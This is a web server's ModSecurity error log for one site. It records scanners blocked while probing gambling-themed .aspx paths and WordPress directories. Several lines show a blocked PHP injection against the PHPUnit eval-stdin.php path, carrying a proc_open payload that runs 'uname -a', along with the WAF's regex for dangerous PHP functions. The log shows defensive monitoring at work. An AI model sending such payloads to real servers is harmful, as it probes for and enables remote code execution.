[Sat Feb 14 09:00:08.764727 2026] [:error] [pid 58882:tid 58886] [client 38.242.236.112:35368] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aY_JGJ5gZqnf2Itlwapq6QAAAcI"]
[Sat Feb 14 09:00:11.761416 2026] [:error] [pid 21196:tid 21264] [client 38.242.236.112:35374] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aY_JG_tQbaugyUK6TM-hrAAAAIY"]
[Sat Feb 14 09:00:14.643772 2026] [:error] [pid 21785:tid 21819] [client 38.242.236.112:35388] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aY_JHgOBjP5pmZ2xNN5uMAAAAYU"]
[Sat Feb 14 09:00:36.545129 2026] [:error] [pid 21196:tid 21269] [client 38.242.236.112:35396] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "aY_JNPtQbaugyUK6TM-hywAAAIs"]
[Sat Feb 14 09:00:39.052006 2026] [:error] [pid 21299:tid 21323] [client 38.242.236.112:57740] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aY_JNyOQKXTT1MWe_sD_ZgAAANU"]
[Sat Feb 14 09:00:41.580794 2026] [:error] [pid 21784:tid 21790] [client 38.242.236.112:57754] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aY_JOa1lOIszF3YGN_-bwwAAAUM"]
[Sat Feb 14 09:00:44.271065 2026] [:error] [pid 58882:tid 58896] [client 38.242.236.112:57764] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aY_JPJ5gZqnf2ItlwaprCAAAAcw"]
[Sat Feb 14 09:00:46.967248 2026] [:error] [pid 21752:tid 21758] [client 38.242.236.112:57772] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aY_JPhOc0bldMgpeu12LXAAAAQQ"]
[Sat Feb 14 09:00:49.492012 2026] [:error] [pid 21195:tid 21239] [client 38.242.236.112:33024] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aY_JQd_2sARdLQ6dpsVeXgAAAEg"]
[Sat Feb 14 09:00:52.135673 2026] [:error] [pid 21299:tid 21323] [client 38.242.236.112:33030] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aY_JRCOQKXTT1MWe_sD_cAAAANU"]
[Sat Feb 14 09:00:54.577243 2026] [:error] [pid 21752:tid 21758] [client 38.242.236.112:33040] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aY_JRhOc0bldMgpeu12LZwAAAQQ"]
[Sat Feb 14 09:00:57.240056 2026] [:error] [pid 21785:tid 21824] [client 38.242.236.112:33046] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aY_JSQOBjP5pmZ2xNN5uYgAAAYo"]
[Sat Feb 14 09:00:59.668393 2026] [:error] [pid 21752:tid 21771] [client 38.242.236.112:50178] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aY_JSxOc0bldMgpeu12LbwAAARE"]
[Sat Feb 14 09:01:02.551219 2026] [:error] [pid 21299:tid 21323] [client 38.242.236.112:50194] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aY_JTiOQKXTT1MWe_sD_eAAAANU"]
[Sat Feb 14 09:01:05.325678 2026] [:error] [pid 21784:tid 21808] [client 38.242.236.112:50208] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aY_JUa1lOIszF3YGN_-bzQAAAVU"]
[Sat Feb 14 09:01:08.028694 2026] [:error] [pid 21196:tid 21270] [client 38.242.236.112:50210] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aY_JVPtQbaugyUK6TM-h5QAAAIw"]
[Sat Feb 14 09:01:10.683392 2026] [:error] [pid 58882:tid 58887] [client 38.242.236.112:52036] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aY_JVp5gZqnf2ItlwaprIwAAAcM"]
[Sat Feb 14 09:01:13.353836 2026] [:error] [pid 21785:tid 21836] [client 38.242.236.112:52052] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aY_JWQOBjP5pmZ2xNN5uegAAAZY"]
[Sat Feb 14 09:01:15.815907 2026] [:error] [pid 21196:tid 21280] [client 38.242.236.112:52054] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aY_JW_tQbaugyUK6TM-h8gAAAJY"]
[Sat Feb 14 09:01:18.272775 2026] [:error] [pid 58882:tid 58889] [client 38.242.236.112:52068] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aY_JXp5gZqnf2ItlwaprLgAAAcU"]
[Sat Feb 14 09:01:20.769726 2026] [:error] [pid 21195:tid 21254] [client 38.242.236.112:43718] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aY_JYN_2sARdLQ6dpsVebAAAAFc"]
[Sat Feb 14 09:01:23.357020 2026] [:error] [pid 21194:tid 21221] [client 38.242.236.112:43728] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aY_JY4W0MV8dvwNvAHo3gwAAABI"]
[Sat Feb 14 09:01:25.960371 2026] [:error] [pid 21785:tid 21833] [client 38.242.236.112:43732] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aY_JZQOBjP5pmZ2xNN5ufwAAAZM"]
[Sat Feb 14 09:01:28.630564 2026] [:error] [pid 21785:tid 21816] [client 38.242.236.112:49564] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aY_JaAOBjP5pmZ2xNN5ugQAAAYI"]
[Sat Feb 14 09:01:31.254400 2026] [:error] [pid 21785:tid 21832] [client 38.242.236.112:49568] [client 38.242.236.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aY_JawOBjP5pmZ2xNN5uggAAAZI"]
[Sat Feb 14 09:13:07.756506 2026] [:error] [pid 21194:tid 21207] [client 185.213.83.21:33048] [client 185.213.83.21] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aY_MI4W0MV8dvwNvAHo5XwAAAAQ"]
[Sat Feb 14 09:13:08.165459 2026] [:error] [pid 58882:tid 58901] [client 185.213.83.21:33062] [client 185.213.83.21] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aY_MJJ5gZqnf2Itlwapt7wAAAdE"]
[Sat Feb 14 09:13:08.510201 2026] [:error] [pid 21785:tid 21822] [client 185.213.83.21:33064] [client 185.213.83.21] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aY_MJAOBjP5pmZ2xNN5ycQAAAYg"]
[Sat Feb 14 09:13:12.132525 2026] [:error] [pid 58882:tid 58884] [client 185.213.83.21:33234] [client 185.213.83.21] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aY_MKJ5gZqnf2Itlwapt9AAAAcA"]
[Sat Feb 14 09:13:12.748357 2026] [:error] [pid 21194:tid 21215] [client 185.213.83.21:33244] [client 185.213.83.21] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aY_MKIW0MV8dvwNvAHo5ZAAAAAw"]
[Sat Feb 14 09:13:13.500163 2026] [:error] [pid 21195:tid 21249] [client 185.213.83.21:10502] [client 185.213.83.21] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aY_MKd_2sARdLQ6dpsVgywAAAFI"]
[Sat Feb 14 12:00:08.291606 2026] [:error] [pid 8039:tid 8054] [client 43.156.168.214:58388] [client 43.156.168.214] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aY_zSHLa1ioCIZV3fA4UJgAAAwo"]
[Sat Feb 14 12:55:28.595686 2026] [autoindex:error] [pid 28853:tid 28872] [client 139.59.24.163:59247] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Feb 14 15:08:24.307515 2026] [:error] [pid 28883:tid 28933] [client 139.59.24.163:56095] [client 139.59.24.163] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/"] [unique_id "aZAfaGBZFo3PsPpATCy2BAAAApU"], referer: binance.com
[Sat Feb 14 16:22:11.938842 2026] [:error] [pid 21195:tid 21250] [client 54.37.84.47:33824] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZAws9_2sARdLQ6dpsWxdwAAAFM"]
[Sat Feb 14 16:22:14.640783 2026] [:error] [pid 35193:tid 35219] [client 54.37.84.47:48092] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aZAwts7okn8Vvg54roS4sAAAAlQ"]
[Sat Feb 14 16:22:17.300498 2026] [:error] [pid 36056:tid 36077] [client 54.37.84.47:33502] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZAwubv3wQbSPS1vpOjrMgAAABM"]
[Sat Feb 14 16:22:19.999267 2026] [:error] [pid 2503:tid 2511] [client 54.37.84.47:33514] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aZAwu7tdZ0Z5BhXymOB25AAAAMY"]
[Sat Feb 14 16:22:22.510724 2026] [:error] [pid 63325:tid 63334] [client 54.37.84.47:33526] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aZAwvgGMleU5keYIEc55FAAAAIU"]
[Sat Feb 14 16:22:24.954131 2026] [:error] [pid 36056:tid 36080] [client 54.37.84.47:33536] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZAwwLv3wQbSPS1vpOjrPAAAABY"]
[Sat Feb 14 16:22:27.784112 2026] [:error] [pid 63325:tid 63351] [client 54.37.84.47:59556] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZAwwwGMleU5keYIEc55GQAAAJY"]
[Sat Feb 14 16:22:30.192663 2026] [:error] [pid 35135:tid 35159] [client 54.37.84.47:59562] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZAwxokSccJZYMDP04wPngAAARU"]
[Sat Feb 14 16:22:32.896477 2026] [:error] [pid 21195:tid 21232] [client 54.37.84.47:59570] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aZAwyN_2sARdLQ6dpsWxhwAAAEE"]
[Sat Feb 14 16:22:35.424446 2026] [:error] [pid 2503:tid 2508] [client 54.37.84.47:59584] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aZAwy7tdZ0Z5BhXymOB3BgAAAMM"]
[Sat Feb 14 16:22:38.115265 2026] [:error] [pid 7982:tid 8022] [client 54.37.84.47:42554] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aZAwzmLTp1DWAgIKqwTWFgAAAss"]
[Sat Feb 14 16:22:40.759770 2026] [:error] [pid 35193:tid 35214] [client 54.37.84.47:42558] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aZAw0M7okn8Vvg54roS4xgAAAk8"]
[Sat Feb 14 16:22:43.333508 2026] [:error] [pid 35193:tid 35200] [client 54.37.84.47:42560] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aZAw087okn8Vvg54roS4zQAAAkE"]
